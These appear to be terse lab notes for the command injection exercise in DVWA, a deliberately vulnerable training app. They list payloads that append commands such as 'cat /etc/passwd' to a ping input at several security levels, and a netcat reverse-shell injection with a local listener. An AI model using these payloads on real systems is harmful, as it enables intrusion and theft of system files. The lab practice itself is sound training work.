cd /var/www/html

systemctl start apache2

systemctl start mariadb

open in firebox => http://127.0.0.1/DVWA/

click command injection

127.0.0.1

127.0.0.1 ; cat /etc/passwd 127.0.0.1 && cat /etc/passwd

change security level to medium

127.0.0.1 | cat /etc/passwd

ping –c 127.0.0.1 | cat /etc/passwd

change security level to High

127.0.0.1| cat /etc/passwd => not work (space)

127.0.0.1|cat /etc/passwd => work

change security level to impossible

nothing will work

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*Now will Use command injection to get a shell

change security level to low

nc -l -p 2345 => local machine

127.0.0.1; nc 127.0.0.1 2345 –e /usr/bin/sh => DVWA server

127.0.0.1; nc 127.0.0.1 2345 -e /usr/bin/sh

// nc –p 2345 127.0.0.1 –e /usr/bin/sh